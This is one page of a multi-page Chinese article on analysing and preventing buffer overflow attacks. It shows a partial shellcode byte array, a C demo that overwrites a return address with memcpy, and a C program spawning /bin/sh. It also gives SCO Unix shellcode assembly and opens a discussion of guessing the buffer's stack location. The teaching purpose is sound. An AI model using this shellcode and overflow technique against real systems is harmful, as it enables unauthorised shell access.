试卷,试题,examination paper.
首 页 论文分类 论文搜索 论文精华 写作指导 友情链接 留言板  
计算机 | 金融 | 经济 | 会计 | 工商 | 财政 | 财务 | 公共 | 管理 | 文化 | 艺术 | 社会 | 教育 | 工科 | 理科 | 文学 | 法律 | 医学
 
     当前位置:首页>>计算机>>计算机应用>>正文
 

缓冲区溢出攻击的分析及防范策略(3)

文章出处:中国论文下载中心   发布时间:2005-11-11
 “x00xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80”
“xb8x01x00x00x00xbbx00x00x00x00xcdx80xe8xdlxffxff”
“xffx2fx62x69x6ex2fx73x68x00x89xecx5dxc3”};
void f(char *src)
{
char dest[4];
memcpy(dest,src,12);
}
void main()
{
int shellentry[3];
shellentry[0]=(int)shellcode;
shellentry[1]=(int)shellcode;
shellentry[2]=(int)shellcode;
f(shellentry);
}
由以上程序可以看出缓冲区溢出攻击的关键:因为memcpy并不检验边界,所以dest溢出时,使shellcode的地址覆盖了子程序的返回地址,当子程序执行ret指令时,CPU的指令指针寄存器EIP指向shellcode,从而执行shellcode。
这里讨论一个现实中的Unix环境下,利用缓冲区溢出的到一个Shell的行攻击方法的实现。其中,S代表Shellcode,A代表填写的返回地址,由于Shellcode在虚地址的高端,所以这个返回地址(32bit)一般不会含有零字节:
(1)    启动一个一个Shell的代码——Shellcode的获得
通常的获得方法是先用高级语言编写同样功能的程序,然后用调试工具抽取必须的二进制代码。高级语言程序如下:
shellcode.c
#include<stdio.h>
void main()
{
char *name[2];
name[0]=”bin/sh”;
name[1]=NULL;
execve(name[0],name,NULL);
exit(0);
}
把上述程序编译之后,可以用gdb得到上面程序的汇编代码及二进制代码,适当优化后即可得到二进制的Shellcode。
这里要解决的一个问题是,无论Shellcode被装置到内存的什么位置,字符串“/bin/sh”的地址都可以得到。解决方法是在“/bin/sh”之前加一条CALL指令,这样当CALL被执行时,“/bin/sh”的地址将被自动压入堆栈,紧接着用一条popl指令即可获得这个地址。
Shellcode的结构如下:(J代表JMP指令,C代表CALL指令,S代表启动Shell的代码,s代表串“/bin/sh”,A指向Shellcode的起始地址)。
SCO Unix下的Shellcode的汇编代码如下:
Jmp 0x2a      # 3 bytes   # 跳到CALL指令处
Popl %esi     # 1 byte    # 把由CALL指令压入堆栈的串 # 地址送到esi
movl %esi, 0x8(%esi)      # 3 bytes
movb $0x0, 0x7(%esi)      # 4 bytes
movl $0x0, 0xc(%esi)      # 7 bytes
movl $0xb, %eax          # 5 bytes
movl %esi, %ebx          # 2 bytes  # 执行execve(name[0],name,NULL);
leal 0x8(%esi) , %ecx         # 3 bytes
leal 0xc(%esi) , %edx         # 3 bytes
int $0x80                 # 2 bytes
movl $0x1,%eax           # 5 bytes  #执行exit(0)
movl $0x0,%ebx           # 5 bytes
int $0x80                 # 2 bytes
call –0x2f                # 5 bytes  #跳到popl %esi指令处
.string  ”/bin/sh”         # 8 bytes
利用gdb的x命令可以得到上述汇编代码的二进制代码。
(2)    猜测被溢出的缓冲区的位置
有了shellcode还不够,在溢出一个缓冲区时,还必须使被溢出的返回地址正确指向shellcode。在Unix环境下,当我们去溢出另外一个程序的没有边界检查的buffer时,通常只会得到一个Segmentation fault(段错误),程序退出,再没有其他信息。这就是由于返回地址不正确引起的。
为了正确获得溢出的缓冲区在堆栈的位置,所以需要推测shellcode的起始位置,即被溢出的缓冲区buffer的位置。Unix环境下,每个进程启动时的初始堆栈的虚存位置时一样的。利用下面的程序可以近似的得到这个位置(在环境变量不同、传入的命令行参数不同时,这个值略有变动):


  共9页: 上一页 [1] [2] 3 [4] [5] [6] [7] [8] [9] 下一页   
[返回顶部↑]  
 
 
 
  相关文章
·项目管理在软件中的应用
·欢乐时光代码分析
·脉冲功率装置能源计算机
·实时性远程答疑系统
·VB中创建超长时间计时器
·图书馆管理系统
·基于Client/Server 的课
·基于WWW的协同式CAI软件
·数据加密技术
·详解加密技术概念、加密
  热门点击
·基于Client/Server 的课
·信息技术对高校图书馆工
·详解加密技术概念、加密
·数据加密技术
·基于WWW的协同式CAI软件
·基于Client/Server 的课
·图书馆管理系统
·VB中创建超长时间计时器
·实时性远程答疑系统
·脉冲功率装置能源计算机